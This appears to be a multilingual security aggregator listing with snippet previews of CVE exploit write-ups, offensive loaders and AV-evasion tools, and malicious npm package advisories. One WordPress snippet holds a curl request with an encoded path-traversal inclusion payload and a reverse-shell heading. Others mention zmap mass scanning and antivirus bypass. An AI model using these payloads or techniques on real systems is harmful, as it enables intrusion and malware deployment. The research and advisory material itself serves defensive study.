CVE-2021-38297

Exploitation de CVE-2021-38297 : Vulnérabilité de dépassement de tampon dans GO Wasm Présentation de la vulnérabilité WebAssembly WASM est un format d'instructions binaires exécutable dans la plupart des navigateurs web modernes. Il sert de cible de compilation pour divers langages de haut niveau...

Bypass_AV

Это образец трояна, способный обойти подавляющее большинство антивирусов и песочниц Ниже я опишу технологии, используемые в трояне, и объясню их отдельно для shellcode и загрузчика. Секция загрузчика 1. Анти-песочница Как известно, обычное детектирование анти-песочниц основано на операциях с CPU,...

flowise-arbitrary-file-read-getFileFromStorage

Flowise: неаутентифицированное чтение произвольных файлов getFileFromStorage — предлагаемая новая CVE Отдельная уязвимость по отношению к CVE-2025-71338 которая является write -sink. Это неаутентифицированное чтение произвольных файлов в пути «rehydrate» загрузчика document-store в Flowise,...

LittleCorporal

LittleCorporal LittleCorporal : un générateur automatisé de documents malveillants en C C:\LittleCorporal\bin\ReleaseLittleCorporal.exe C:\beacon.bin explorer.exe . . . . | | ||/ |/ || | \ \ | | | | | \ \ \ | / / \ / / \ \ \ / \ \ \ | | | || || | | | | |\ /\ \ | / | | // | | | ||| || |/\ ...

wordpress-cve-2026-87902

CVE-2026-87902 — Conditional LFI Love for Humans - Keep Simple WordPress Core +/tmp/pwn.php' curl -s 'http://10.137.137.49:18092/?pageid=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&=id' Reverse Shell...

shim

shim — загрузчик первой стадии UEFI shim — это тривиальное EFI-приложение, которое при запуске пытается открыть и выполнить другое приложение. Изначально оно пытается сделать это через стандартные вызовы EFI LoadImage и StartImage. Если эти вызовы завершаются неудачей например, из-за включённого...

elfloader

Summary elfloader is a super simple loader for ELF files that generates a flat in-memory representation of the ELF. Pair this with Rust and now you can write your shellcode in a proper, safe, high-level language. Any target that LLVM can target can be used, including custom target specifications...

elfloader

Résumé elfloader est un chargeur extrêmement simple pour les fichiers ELF qui génère une représentation plate en mémoire de l'ELF. Associez-le à Rust et vous pouvez désormais écrire votre shellcode dans un langage propre, sûr et de haut niveau. N'importe quelle cible que LLVM peut cibler peut êtr...

YaraVM

YaraVM Yara — это инструмент для поиска шаблонов в файлах, обычно используемый для анализа вредоносного ПО. Правила Yara могут быть скомпилированы в бинарный формат, который впоследствии можно загрузить и выполнить. Этот репозиторий содержит модуль процессора и загрузчик для IDA Pro, позволяющие...

CVE-2023-1389

TP-Link Archer AX21 - Неаутентифицированное внедрение команд Loader POC CVE-2023-1389 Название эксплойта: TP-Link Archer AX21 - Неаутентифицированное внедрение команд Дата обнаружения: 07/25/2023 Автор эксплойта: Voyag3r How to Use :- Scanning - Use Zmap : zmap -p 80 -o list.txt NetCat Listener -...

Cooolis-ms

Cooolis-ms Documentation Wiki Cooolis-ms est un outil d'exécution de code qui intègre un Metasploit Payload Loader, un Cobalt Strike External C2 Loader et une injection Reflective DLL. Son objectif est de contourner certaines détections statiques de code contenant des signatures caractéristiques,...

Invoke-noPac

Invoke-noPac Эта сборка .Net основана на моём форке https://github.com/ricardojba/noPac, в который внесены некоторые изменения кода для улучшения оригинала. Загрузчик сборок .Net в стиле PowerSharpPack для сканера и эксплойта CVE-2021-42287 - CVE-2021-42278 noPac. Использование:...

BokuLoader

BokuLoader : Chargeur Réflexif pour Cobalt Strike Une preuve de concept de Chargeur Réflexif Défini par l'Utilisateur UDRL qui vise à recréer, intégrer et améliorer les fonctionnalités d'évasion de Cobalt Strike ! Contributeurs : Contributeur| Twitter| Contributions notables ---|---|--- Bobby...

MAL-2026-17658 Malicious code in hardhat-bits (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e10f22980d33eea7649312f6b2b0a94637e5b4da400f7d585c58b6902a77944 The package is published as hardhat-bits but its README, LICENSE, docs/, and lib/ files are copied verbatim from the pino logger project, providing...

Malicious code in hardhat-bits (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e10f22980d33eea7649312f6b2b0a94637e5b4da400f7d585c58b6902a77944 The package is published as hardhat-bits but its README, LICENSE, docs/, and lib/ files are copied verbatim from the pino logger project, providing...

Malicious code in hardhat-option (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d460f6c739361d793fbc66b2aa32d1d9ab6fe0df4caefe13c590f40d05d5277 The package's declared main index.js immediately requires./lib/config, which is a single-line 4.5MB obfuscator.io-style bundle 26,234-entry hex-escap...

MAL-2026-17660 Malicious code in hardhat-option (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d460f6c739361d793fbc66b2aa32d1d9ab6fe0df4caefe13c590f40d05d5277 The package's declared main index.js immediately requires./lib/config, which is a single-line 4.5MB obfuscator.io-style bundle 26,234-entry hex-escap...

CVE-2026-105839

A flaw was found in libmikmod. An integer overflow in the Oktalyzer music module loader can result in a heap-based buffer overflow when parsing manipulated track counts. By tricking a user or application into processing a specially crafted audio file, an attacker could achieve arbitrary code...

CVE-2026-106061 Gimp: gimp: heap buffer over-read in x cursor (xmc) thumbnail loader on crafted file

A flaw was found in GIMP’s X cursor XMC thumbnail loader. When GIMP generates a thumbnail for a crafted XMC file, it allocates a pixel buffer using a width height size computed in 32-bit signed arithmetic. If that product overflows, the allocation is smaller than the true image extent. A subseque...

CVE-2026-106061

A flaw was found in GIMP’s X cursor XMC thumbnail loader. When GIMP generates a thumbnail for a crafted XMC file, it allocates a pixel buffer using a width height size computed in 32-bit signed arithmetic. If that product overflows, the allocation is smaller than the true image extent. A subseque...